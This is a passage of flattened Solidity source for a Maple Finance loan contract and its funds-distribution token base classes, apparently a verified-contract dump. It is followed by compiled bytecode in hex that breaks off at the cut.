_allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } ////// contracts/token/BasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol"; */ /* import "./interfaces/IBaseFDT.sol"; */ /* import "../math/SafeMathUint.sol"; */ /* import "../math/SafeMathInt.sol"; */ /// @title BasicFDT implements base level FDT functionality for accounting for revenues. abstract contract BasicFDT is IBaseFDT, ERC20 { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; uint256 internal constant pointsMultiplier = 2 ** 128; uint256 internal pointsPerShare; mapping(address => int256) internal pointsCorrection; mapping(address => uint256) internal withdrawnFunds; event PointsPerShareUpdated(uint256 pointsPerShare); event PointsCorrectionUpdated(address indexed account, int256 pointsCorrection); constructor(string memory name, string memory symbol) ERC20(name, symbol) public { } /** @dev Distributes funds to token holders. @dev It reverts if the total supply of tokens is 0. @dev It emits a `FundsDistributed` event if the amount of received funds is greater than 0. @dev It emits a `PointsPerShareUpdated` event if the amount of received funds is greater than 0. About undistributed funds: In each distribution, there is a small amount of funds which do not get distributed, which is `(value pointsMultiplier) % totalSupply()`. With a well-chosen `pointsMultiplier`, the amount funds that are not getting distributed in a distribution can be less than 1 (base unit). We can actually keep track of the undistributed funds in a distribution and try to distribute it in the next distribution. */ function _distributeFunds(uint256 value) internal { require(totalSupply() > 0, "FDT:ZERO_SUPPLY"); if (value == 0) return; pointsPerShare = pointsPerShare.add(value.mul(pointsMultiplier) / totalSupply()); emit FundsDistributed(msg.sender, value); emit PointsPerShareUpdated(pointsPerShare); } /** @dev Prepares the withdrawal of funds. @dev It emits a `FundsWithdrawn` event if the amount of withdrawn funds is greater than 0. @return withdrawableDividend The amount of dividend funds that can be withdrawn. */ function _prepareWithdraw() internal returns (uint256 withdrawableDividend) { withdrawableDividend = withdrawableFundsOf(msg.sender); uint256 _withdrawnFunds = withdrawnFunds[msg.sender].add(withdrawableDividend); withdrawnFunds[msg.sender] = _withdrawnFunds; emit FundsWithdrawn(msg.sender, withdrawableDividend, _withdrawnFunds); } /** @dev Returns the amount of funds that an account can withdraw. @param _owner The address of a token holder. @return The amount funds that `_owner` can withdraw. */ function withdrawableFundsOf(address _owner) public view override returns (uint256) { return accumulativeFundsOf(_owner).sub(withdrawnFunds[_owner]); } /** @dev Returns the amount of funds that an account has withdrawn. @param _owner The address of a token holder. @return The amount of funds that `_owner` has withdrawn. */ function withdrawnFundsOf(address _owner) external view returns (uint256) { return withdrawnFunds[_owner]; } /** @dev Returns the amount of funds that an account has earned in total. @dev accumulativeFundsOf(_owner) = withdrawableFundsOf(_owner) + withdrawnFundsOf(_owner) = (pointsPerShare * balanceOf(_owner) + pointsCorrection[_owner]) / pointsMultiplier @param _owner The address of a token holder. @return The amount of funds that `_owner` has earned in total. */ function accumulativeFundsOf(address _owner) public view returns (uint256) { return pointsPerShare .mul(balanceOf(_owner)) .toInt256Safe() .add(pointsCorrection[_owner]) .toUint256Safe() / pointsMultiplier; } /** @dev Transfers tokens from one account to another. Updates pointsCorrection to keep funds unchanged. @dev It emits two `PointsCorrectionUpdated` events, one for the sender and one for the receiver. @param from The address to transfer from. @param to The address to transfer to. @param value The amount to be transferred. */ function _transfer( address from, address to, uint256 value ) internal virtual override { super._transfer(from, to, value); int256 _magCorrection = pointsPerShare.mul(value).toInt256Safe(); int256 pointsCorrectionFrom = pointsCorrection[from].add(_magCorrection); pointsCorrection[from] = pointsCorrectionFrom; int256 pointsCorrectionTo = pointsCorrection[to].sub(_magCorrection); pointsCorrection[to] = pointsCorrectionTo; emit PointsCorrectionUpdated(from, pointsCorrectionFrom); emit PointsCorrectionUpdated(to, pointsCorrectionTo); } /** @dev Mints tokens to an account. Updates pointsCorrection to keep funds unchanged. @param account The account that will receive the created tokens. @param value The amount that will be created. */ function _mint(address account, uint256 value) internal virtual override { super._mint(account, value); int256 _pointsCorrection = pointsCorrection[account].sub( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Burns an amount of the token of a given account. Updates pointsCorrection to keep funds unchanged. @dev It emits a `PointsCorrectionUpdated` event. @param account The account whose tokens will be burnt. @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal virtual override { super._burn(account, value); int256 _pointsCorrection = pointsCorrection[account].add( (pointsPerShare.mul(value)).toInt256Safe() ); pointsCorrection[account] = _pointsCorrection; emit PointsCorrectionUpdated(account, _pointsCorrection); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override {} /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual returns (int256) {} /** @dev Registers a payment of funds in tokens. May be called directly after a deposit is made. @dev Calls _updateFundsTokenBalance(), whereby the contract computes the delta of the new and previous `fundsToken` balance and increments the total received funds (cumulative), by delta, by calling _distributeFunds(). */ function updateFundsReceived() public virtual { int256 newFunds = _updateFundsTokenBalance(); if (newFunds <= 0) return; _distributeFunds(newFunds.toUint256Safe()); } } ////// contracts/token/LoanFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./BasicFDT.sol"; */ /// @title LoanFDT inherits BasicFDT and uses the original ERC-2222 logic. abstract contract LoanFDT is BasicFDT { using SafeMath for uint256; using SafeMathUint for uint256; using SignedSafeMath for int256; using SafeMathInt for int256; using SafeERC20 for IERC20; IERC20 public immutable fundsToken; // The `fundsToken` (dividends). uint256 public fundsTokenBalance; // The amount of `fundsToken` (Liquidity Asset) currently present and accounted for in this contract. constructor(string memory name, string memory symbol, address _fundsToken) BasicFDT(name, symbol) public { fundsToken = IERC20(_fundsToken); } /** @dev Withdraws all available funds for a token holder. */ function withdrawFunds() public virtual override { uint256 withdrawableFunds = _prepareWithdraw(); if (withdrawableFunds > uint256(0)) { fundsToken.safeTransfer(msg.sender, withdrawableFunds); _updateFundsTokenBalance(); } } /** @dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance. @return A int256 representing the difference of the new and previous `fundsToken` balance. */ function _updateFundsTokenBalance() internal virtual override returns (int256) { uint256 _prevFundsTokenBalance = fundsTokenBalance; fundsTokenBalance = fundsToken.balanceOf(address(this)); return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance)); } } ////// lib/openzeppelin-contracts/contracts/utils/Pausable.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "../GSN/Context.sol"; */ /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } ////// contracts/Loan.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/utils/Pausable.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "./interfaces/ICollateralLocker.sol"; */ /* import "./interfaces/ICollateralLockerFactory.sol"; */ /* import "./interfaces/IERC20Details.sol"; */ /* import "./interfaces/IFundingLocker.sol"; */ /* import "./interfaces/IFundingLockerFactory.sol"; */ /* import "./interfaces/IMapleGlobals.sol"; */ /* import "./interfaces/ILateFeeCalc.sol"; */ /* import "./interfaces/ILiquidityLocker.sol"; */ /* import "./interfaces/ILoanFactory.sol"; */ /* import "./interfaces/IPool.sol"; */ /* import "./interfaces/IPoolFactory.sol"; */ /* import "./interfaces/IPremiumCalc.sol"; */ /* import "./interfaces/IRepaymentCalc.sol"; */ /* import "./interfaces/IUniswapRouter.sol"; */ /* import "./library/Util.sol"; */ /* import "./library/LoanLib.sol"; */ /* import "./token/LoanFDT.sol"; */ /// @title Loan maintains all accounting and functionality related to Loans. contract Loan is LoanFDT, Pausable { using SafeMathInt for int256; using SignedSafeMath for int256; using SafeMath for uint256; using SafeERC20 for IERC20; /** Ready = The Loan has been initialized and is ready for funding (assuming funding period hasn't ended) Active = The Loan has been drawdown and the Borrower is making payments Matured = The Loan is fully paid off and has "matured" Expired = The Loan did not initiate, and all funding was returned to Lenders Liquidated = The Loan has been liquidated */ enum State { Ready, Active, Matured, Expired, Liquidated } State public loanState; // The current state of this Loan, as defined in the State enum below. IERC20 public immutable liquidityAsset; // The asset deposited by Lenders into the FundingLocker, when funding this Loan. IERC20 public immutable collateralAsset; // The asset deposited by Borrower into the CollateralLocker, for collateralizing this Loan. address public immutable fundingLocker; // The FundingLocker that holds custody of Loan funds before drawdown. address public immutable flFactory; // The FundingLockerFactory. address public immutable collateralLocker; // The CollateralLocker that holds custody of Loan collateral. address public immutable clFactory; // The CollateralLockerFactory. address public immutable borrower; // The Borrower of this Loan, responsible for repayments. address public immutable repaymentCalc; // The RepaymentCalc for this Loan. address public immutable lateFeeCalc; // The LateFeeCalc for this Loan. address public immutable premiumCalc; // The PremiumCalc for this Loan. address public immutable superFactory; // The LoanFactory that deployed this Loan. mapping(address => bool) public loanAdmins; // Admin addresses that have permission to do certain operations in case of disaster management. uint256 public nextPaymentDue; // The unix timestamp due date of the next payment. // Loan specifications uint256 public immutable apr; // The APR in basis points. uint256 public paymentsRemaining; // The number of payments remaining on the Loan. uint256 public immutable termDays; // The total length of the Loan term in days. uint256 public immutable paymentIntervalSeconds; // The time between Loan payments in seconds. uint256 public immutable requestAmount; // The total requested amount for Loan. uint256 public immutable collateralRatio; // The percentage of value of the drawdown amount to post as collateral in basis points. uint256 public immutable createdAt; // The timestamp of when Loan was instantiated. uint256 public immutable fundingPeriod; // The time for a Loan to be funded in seconds. uint256 public immutable defaultGracePeriod; // The time a Borrower has, after a payment is due, to make a payment before a liquidation can occur. // Accounting variables uint256 public principalOwed; // The amount of principal owed (initially the drawdown amount). uint256 public principalPaid; // The amount of principal that has been paid by the Borrower since the Loan instantiation. uint256 public interestPaid; // The amount of interest that has been paid by the Borrower since the Loan instantiation. uint256 public feePaid; // The amount of fees that have been paid by the Borrower since the Loan instantiation. uint256 public excessReturned; // The amount of excess that has been returned to the Lenders after the Loan drawdown. // Liquidation variables uint256 public amountLiquidated; // The amount of Collateral Asset that has been liquidated after default. uint256 public amountRecovered; // The amount of Liquidity Asset that has been recovered after default. uint256 public defaultSuffered; // The difference between `amountRecovered` and `principalOwed` after liquidation. uint256 public liquidationExcess; // If `amountRecovered > principalOwed`, this is the amount of Liquidity Asset that is to be returned to the Borrower. event LoanFunded(address indexed fundedBy, uint256 amountFunded); event BalanceUpdated(address indexed account, address indexed token, uint256 balance); event Drawdown(uint256 drawdownAmount); event LoanStateChanged(State state); event LoanAdminSet(address indexed loanAdmin, bool allowed); event PaymentMade( uint256 totalPaid, uint256 principalPaid, uint256 interestPaid, uint256 paymentsRemaining, uint256 principalOwed, uint256 nextPaymentDue, bool latePayment ); event Liquidation( uint256 collateralSwapped, uint256 liquidityAssetReturned, uint256 liquidationExcess, uint256 defaultSuffered ); /** @dev Constructor for a Loan. @dev It emits a `LoanStateChanged` event. @param _borrower Will receive the funding when calling `drawdown()`. Is also responsible for repayments. @param _liquidityAsset The asset the Borrower is requesting funding in. @param _collateralAsset The asset provided as collateral by the Borrower. @param _flFactory Factory to instantiate FundingLocker with. @param _clFactory Factory to instantiate CollateralLocker with. @param specs Contains specifications for this Loan. specs[0] = apr specs[1] = termDays specs[2] = paymentIntervalDays (aka PID) specs[3] = requestAmount specs[4] = collateralRatio @param calcs The calculators used for this Loan. calcs[0] = repaymentCalc calcs[1] = lateFeeCalc calcs[2] = premiumCalc */ constructor( address _borrower, address _liquidityAsset, address _collateralAsset, address _flFactory, address _clFactory, uint256[5] memory specs, address[3] memory calcs ) LoanFDT("Maple Loan Token", "MPL-LOAN", _liquidityAsset) public { IMapleGlobals globals = _globals(msg.sender); // Perform validity cross-checks. LoanLib.loanSanityChecks(globals, _liquidityAsset, _collateralAsset, specs); borrower = _borrower; liquidityAsset = IERC20(_liquidityAsset); collateralAsset = IERC20(_collateralAsset); flFactory = _flFactory; clFactory = _clFactory; createdAt = block.timestamp; // Update state variables. apr = specs[0]; termDays = specs[1]; paymentsRemaining = specs[1].div(specs[2]); paymentIntervalSeconds = specs[2].mul(1 days); requestAmount = specs[3]; collateralRatio = specs[4]; fundingPeriod = globals.fundingPeriod(); defaultGracePeriod = globals.defaultGracePeriod(); repaymentCalc = calcs[0]; lateFeeCalc = calcs[1]; premiumCalc = calcs[2]; superFactory = msg.sender; // Deploy lockers. collateralLocker = ICollateralLockerFactory(_clFactory).newLocker(_collateralAsset); fundingLocker = IFundingLockerFactory(_flFactory).newLocker(_liquidityAsset); emit LoanStateChanged(State.Ready); } /**************************/ /*** Borrower Functions ***/ /**************************/ /** @dev Draws down funding from FundingLocker, posts collateral, and transitions the Loan state from `Ready` to `Active`. Only the Borrower can call this function. @dev It emits four `BalanceUpdated` events. @dev It emits a `LoanStateChanged` event. @dev It emits a `Drawdown` event. @param amt Amount of Liquidity Asset the Borrower draws down. Remainder is returned to the Loan where it can be claimed back by LoanFDT holders. */ function drawdown(uint256 amt) external { _whenProtocolNotPaused(); _isValidBorrower(); _isValidState(State.Ready); IMapleGlobals globals = _globals(superFactory); IFundingLocker _fundingLocker = IFundingLocker(fundingLocker); require(amt >= requestAmount, "L:AMT_LT_REQUEST_AMT"); require(amt <= _getFundingLockerBalance(), "L:AMT_GT_FUNDED_AMT"); // Update accounting variables for the Loan. principalOwed = amt; nextPaymentDue = block.timestamp.add(paymentIntervalSeconds); loanState = State.Active; // Transfer the required amount of collateral for drawdown from the Borrower to the CollateralLocker. collateralAsset.safeTransferFrom(borrower, collateralLocker, collateralRequiredForDrawdown(amt)); // Transfer funding amount from the FundingLocker to the Borrower, then drain remaining funds to the Loan. uint256 treasuryFee = globals.treasuryFee(); uint256 investorFee = globals.investorFee(); address treasury = globals.mapleTreasury(); uint256 _feePaid = feePaid = amt.mul(investorFee).div(10_000); // Update fees paid for `claim()`. uint256 treasuryAmt = amt.mul(treasuryFee).div(10_000); // Calculate amount to send to the MapleTreasury. _transferFunds(_fundingLocker, treasury, treasuryAmt); // Send the treasury fee directly to the MapleTreasury. _transferFunds(_fundingLocker, borrower, amt.sub(treasuryAmt).sub(_feePaid)); // Transfer drawdown amount to the Borrower. // Update excessReturned for `claim()`. excessReturned = _getFundingLockerBalance().sub(_feePaid); // Drain remaining funds from the FundingLocker (amount equal to `excessReturned` plus `feePaid`) _fundingLocker.drain(); // Call `updateFundsReceived()` update LoanFDT accounting with funds received from fees and excess returned. updateFundsReceived(); _emitBalanceUpdateEventForCollateralLocker(); _emitBalanceUpdateEventForFundingLocker(); _emitBalanceUpdateEventForLoan(); emit BalanceUpdated(treasury, address(liquidityAsset), liquidityAsset.balanceOf(treasury)); emit LoanStateChanged(State.Active); emit Drawdown(amt); } /** @dev Makes a payment for this Loan. Amounts are calculated for the Borrower. */ function makePayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest,, bool paymentLate) = getNextPayment(); --paymentsRemaining; _makePayment(total, principal, interest, paymentLate); } /** @dev Makes the full payment for this Loan (a.k.a. "calling" the Loan). This requires the Borrower to pay a premium fee. */ function makeFullPayment() external { _whenProtocolNotPaused(); _isValidState(State.Active); (uint256 total, uint256 principal, uint256 interest) = getFullPayment(); paymentsRemaining = uint256(0); _makePayment(total, principal, interest, false); } /** @dev Updates the payment variables and transfers funds from the Borrower into the Loan. @dev It emits one or two `BalanceUpdated` events (depending if payments remaining). @dev It emits a `LoanStateChanged` event if no payments remaining. @dev It emits a `PaymentMade` event. */ function _makePayment(uint256 total, uint256 principal, uint256 interest, bool paymentLate) internal { // Caching to reduce `SLOADs`. uint256 _paymentsRemaining = paymentsRemaining; // Update internal accounting variables. interestPaid = interestPaid.add(interest); if (principal > uint256(0)) principalPaid = principalPaid.add(principal); if (_paymentsRemaining > uint256(0)) { // Update info related to next payment and, if needed, decrement principalOwed. nextPaymentDue = nextPaymentDue.add(paymentIntervalSeconds); if (principal > uint256(0)) principalOwed = principalOwed.sub(principal); } else { // Update info to close loan. principalOwed = uint256(0); loanState = State.Matured; nextPaymentDue = uint256(0); // Transfer all collateral back to the Borrower. ICollateralLocker(collateralLocker).pull(borrower, _getCollateralLockerBalance()); _emitBalanceUpdateEventForCollateralLocker(); emit LoanStateChanged(State.Matured); } // Loan payer sends funds to the Loan. liquidityAsset.safeTransferFrom(msg.sender, address(this), total); // Update FDT accounting with funds received from interest payment. updateFundsReceived(); emit PaymentMade( total, principal, interest, _paymentsRemaining, principalOwed, _paymentsRemaining > 0 ? nextPaymentDue : 0, paymentLate ); _emitBalanceUpdateEventForLoan(); } /************************/ /*** Lender Functions ***/ /************************/ /** @dev Funds this Loan and mints LoanFDTs for `mintTo` (DebtLocker in the case of Pool funding). Only LiquidityLocker using valid/approved Pool can call this function. @dev It emits a `LoanFunded` event. @dev It emits a `BalanceUpdated` event. @param amt Amount to fund the Loan. @param mintTo Address that LoanFDTs are minted to. */ function fundLoan(address mintTo, uint256 amt) whenNotPaused external { _whenProtocolNotPaused(); _isValidState(State.Ready); _isValidPool(); _isWithinFundingPeriod(); liquidityAsset.safeTransferFrom(msg.sender, fundingLocker, amt); uint256 wad = _toWad(amt); // Convert to WAD precision. _mint(mintTo, wad); // Mint LoanFDTs to `mintTo` (i.e DebtLocker contract). emit LoanFunded(mintTo, amt); _emitBalanceUpdateEventForFundingLocker(); } /** @dev Handles returning capital to the Loan, where it can be claimed back by LoanFDT holders, if the Borrower has not drawn down on the Loan past the drawdown grace period. @dev It emits a `LoanStateChanged` event. */ function unwind() external { _whenProtocolNotPaused(); _isValidState(State.Ready); // Update accounting for `claim()` and transfer funds from FundingLocker to Loan. excessReturned = LoanLib.unwind(liquidityAsset, fundingLocker, createdAt, fundingPeriod); updateFundsReceived(); // Transition state to `Expired`. loanState = State.Expired; emit LoanStateChanged(State.Expired); } /** @dev Triggers a default if the Loan meets certain default conditions, liquidating all collateral and updating accounting. Only the an account with sufficient LoanFDTs of this Loan can call this function. @dev It emits a `BalanceUpdated` event. @dev It emits a `Liquidation` event. @dev It emits a `LoanStateChanged` event. */ function triggerDefault() external { _whenProtocolNotPaused(); _isValidState(State.Active); require(LoanLib.canTriggerDefault(nextPaymentDue, defaultGracePeriod, superFactory, balanceOf(msg.sender), totalSupply()), "L:FAILED_TO_LIQ"); // Pull the Collateral Asset from the CollateralLocker, swap to the Liquidity Asset, and hold custody of the resulting Liquidity Asset in the Loan. (amountLiquidated, amountRecovered) = LoanLib.liquidateCollateral(collateralAsset, address(liquidityAsset), superFactory, collateralLocker); _emitBalanceUpdateEventForCollateralLocker(); // Decrement `principalOwed` by `amountRecovered`, set `defaultSuffered` to the difference (shortfall from the liquidation). if (amountRecovered <= principalOwed) { principalOwed = principalOwed.sub(amountRecovered); defaultSuffered = principalOwed; } // Set `principalOwed` to zero and return excess value from the liquidation back to the Borrower. else { liquidationExcess = amountRecovered.sub(principalOwed); principalOwed = 0; liquidityAsset.safeTransfer(borrower, liquidationExcess); // Send excess to the Borrower. } // Update LoanFDT accounting with funds received from the liquidation. updateFundsReceived(); // Transition `loanState` to `Liquidated` loanState = State.Liquidated; emit Liquidation( amountLiquidated, // Amount of Collateral Asset swapped. amountRecovered, // Amount of Liquidity Asset recovered from swap. liquidationExcess, // Amount of Liquidity Asset returned to borrower. defaultSuffered // Remaining losses after the liquidation. ); emit LoanStateChanged(State.Liquidated); } /***********************/ /*** Admin Functions ***/ /***********************/ /** @dev Triggers paused state. Halts functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function pause() external { _isValidBorrowerOrLoanAdmin(); super._pause(); } /** @dev Triggers unpaused state. Restores functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function unpause() external { _isValidBorrowerOrLoanAdmin(); super._unpause(); } /** @dev Sets a Loan Admin. Only the Borrower can call this function. @dev It emits a `LoanAdminSet` event. @param loanAdmin An address being allowed or disallowed as a Loan Admin. @param allowed Status of a Loan Admin. */ function setLoanAdmin(address loanAdmin, bool allowed) external { _whenProtocolNotPaused(); _isValidBorrower(); loanAdmins[loanAdmin] = allowed; emit LoanAdminSet(loanAdmin, allowed); } /**************************/ /*** Governor Functions ***/ /**************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. */ function reclaimERC20(address token) external { LoanLib.reclaimERC20(token, address(liquidityAsset), _globals(superFactory)); } /*********************/ /*** FDT Functions ***/ /*********************/ /** @dev Withdraws all available funds earned through LoanFDT for a token holder. @dev It emits a `BalanceUpdated` event. */ function withdrawFunds() public override { _whenProtocolNotPaused(); super.withdrawFunds(); emit BalanceUpdated(address(this), address(fundsToken), fundsToken.balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns the expected amount of Liquidity Asset to be recovered from a liquidation based on current oracle prices. @return The minimum amount of Liquidity Asset that can be expected by swapping Collateral Asset. */ function getExpectedAmountRecovered() external view returns (uint256) { uint256 liquidationAmt = _getCollateralLockerBalance(); return Util.calcMinAmount(_globals(superFactory), address(collateralAsset), address(liquidityAsset), liquidationAmt); } /** @dev Returns information of the next payment amount. @return [0] = Entitled interest of the next payment (Principal + Interest only when the next payment is last payment of the Loan) [1] = Entitled principal amount needed to be paid in the next payment [2] = Entitled interest amount needed to be paid in the next payment [3] = Payment Due Date [4] = Is Payment Late */ function getNextPayment() public view returns (uint256, uint256, uint256, uint256, bool) { return LoanLib.getNextPayment(repaymentCalc, nextPaymentDue, lateFeeCalc); } /** @dev Returns the information of a full payment amount. @return total Principal and interest owed, combined. @return principal Principal owed. @return interest Interest owed. */ function getFullPayment() public view returns (uint256 total, uint256 principal, uint256 interest) { (total, principal, interest) = LoanLib.getFullPayment(repaymentCalc, nextPaymentDue, lateFeeCalc, premiumCalc); } /** @dev Calculates the collateral required to draw down amount. @param amt The amount of the Liquidity Asset to draw down from the FundingLocker. @return The amount of the Collateral Asset required to post in the CollateralLocker for a given drawdown amount. */ function collateralRequiredForDrawdown(uint256 amt) public view returns (uint256) { return LoanLib.collateralRequiredForDrawdown( IERC20Details(address(collateralAsset)), IERC20Details(address(liquidityAsset)), collateralRatio, superFactory, amt ); } /************************/ /*** Helper Functions ***/ /************************/ /** @dev Checks that the protocol is not in a paused state. */ function _whenProtocolNotPaused() internal view { require(!_globals(superFactory).protocolPaused(), "L:PROTO_PAUSED"); } /** @dev Checks that `msg.sender` is the Borrower or a Loan Admin. */ function _isValidBorrowerOrLoanAdmin() internal view { require(msg.sender == borrower || loanAdmins[msg.sender], "L:NOT_BORROWER_OR_ADMIN"); } /** @dev Converts to WAD precision. */ function _toWad(uint256 amt) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** IERC20Details(address(liquidityAsset)).decimals()); } /** @dev Returns the MapleGlobals instance. */ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } /** @dev Returns the CollateralLocker balance. */ function _getCollateralLockerBalance() internal view returns (uint256) { return collateralAsset.balanceOf(collateralLocker); } /** @dev Returns the FundingLocker balance. */ function _getFundingLockerBalance() internal view returns (uint256) { return liquidityAsset.balanceOf(fundingLocker); } /** @dev Checks that the current state of the Loan matches the provided state. @param _state Enum of desired Loan state. */ function _isValidState(State _state) internal view { require(loanState == _state, "L:INVALID_STATE"); } /** @dev Checks that `msg.sender` is the Borrower. */ function _isValidBorrower() internal view { require(msg.sender == borrower, "L:NOT_BORROWER"); } /** @dev Checks that `msg.sender` is a Lender (LiquidityLocker) that is using an approved Pool to fund the Loan. */ function _isValidPool() internal view { address pool = ILiquidityLocker(msg.sender).pool(); address poolFactory = IPool(pool).superFactory(); require( _globals(superFactory).isValidPoolFactory(poolFactory) && IPoolFactory(poolFactory).isPool(pool), "L:INVALID_LENDER" ); } /** @dev Checks that "now" is currently within the funding period. */ function _isWithinFundingPeriod() internal view { require(block.timestamp <= createdAt.add(fundingPeriod), "L:PAST_FUNDING_PERIOD"); } /** @dev Transfers funds from the FundingLocker. @param from Instance of the FundingLocker. @param to Address to send funds to. @param value Amount to send. */ function _transferFunds(IFundingLocker from, address to, uint256 value) internal { from.pull(to, value); } /** @dev Emits a `BalanceUpdated` event for the Loan. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForLoan() internal { emit BalanceUpdated(address(this), address(liquidityAsset), liquidityAsset.balanceOf(address(this))); } /** @dev Emits a `BalanceUpdated` event for the FundingLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForFundingLocker() internal { emit BalanceUpdated(fundingLocker, address(liquidityAsset), _getFundingLockerBalance()); } /** @dev Emits a `BalanceUpdated` event for the CollateralLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForCollateralLocker() internal { emit BalanceUpdated(collateralLocker, address(collateralAsset), _getCollateralLockerBalance()); } }
0x608060405234801561001057600080fd5b50600436106103da5760003560e01c806364195ba81161020a578063a9691f3f11610125578063cf09e0d0116100b8578063e48671c411610087578063e48671c4146108e5578063e74f6166146108ed578063e920b1e1146108f5578063f52ec46c14610921578063f555278814610929576103da565b8063cf09e0d01461088a578063d8d7970014610892578063da9bf6e01461089a578063dd62ed3e146108b7576103da565b8063b4eae1cb116100f4578063b4eae1cb1461086a578063c296dcba14610872578063c9f4e4901461087a578063cee9666914610882576103da565b8063a9691f3f1461084a578063aabaecd614610852578063ac7c57801461085a578063b419857014610862576103da565b8063807763ab1161019d57806395d89b411161016c57806395d89b41146107cd578063a079a4dd146107d5578063a457c2d7146107f2578063a9059cbb1461081e576103da565b8063807763ab146107695780638456cb59146107715780638905fd4f1461077957806392769d941461079f576103da565b806374d7c62b116101d957806374d7c62b1461072b578063757116a01461073357806377903e3b1461073b5780637df1f1b914610761576103da565b806364195ba8146106ed578063705d5f24146106f557806370a08231146106fd578063743e5d1d14610723576103da565b806331a7958f116102fa5780634b27ef6c1161028d5780635c975abb1161025c5780635c975abb146106cd5780635e8bdbeb146106d557806360bd1f87146106dd57806363f04b15146106e5576103da565b80634b27ef6c146106715780634be7cb14146106795780634e97415f1461069f57806357ded9c9146106c5576103da565b8063443bb293116102c9578063443bb29314610606578063469cbfdb1461062c57806346c162de146106345780634ae01cdc1461063c576103da565b806331a7958f146105c257806339509351146105ca57806339c02899146105f65780633f4ba83a146105fe576103da565b806318160ddd1161037257806324600fc31161034157806324600fc31461056857806325af34cd146105705780632c3c12161461059c578063313ce567146105a4576103da565b806318160ddd1461051a5780631935011414610522578063209b2bca1461052a57806323b872dd14610532576103da565b8063095ea7b3116103ae578063095ea7b3146104c057806309f64d08146105005780630d49b38c14610508578063175f832914610510576103da565b806241c52c146103df578063067754581461041757806306fdde031461043b5780630895326f146104b8575b600080fd5b610405600480360360208110156103f557600080fd5b50356001600160a01b0316610931565b60408051918252519081900360200190f35b61041f610950565b604080516001600160a01b039092168252519081900360200190f35b610443610974565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047d578181015183820152602001610465565b50505050905090810190601f1680156104aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610405610a0a565b6104ec600480360360408110156104d657600080fd5b506001600160a01b038135169060200135610a10565b604080519115158252519081900360200190f35b61041f610a2e565b61041f610a52565b610518610a76565b005b610405610e37565b610405610e3d565b61041f610e43565b6104ec6004803603606081101561054857600080fd5b506001600160a01b03813581169160208101359091169060400135610e67565b610518610ef5565b610578610fbf565b6040518082600481111561058857fe5b60ff16815260200191505060405180910390f35b61041f610fcd565b6105ac610ff1565b6040805160ff9092168252519081900360200190f35b610405610ffa565b6104ec600480360360408110156105e057600080fd5b506001600160a01b038135169060200135611000565b610405611054565b61051861105a565b6104056004803603602081101561061c57600080fd5b50356001600160a01b031661106c565b61040561109e565b6105186110c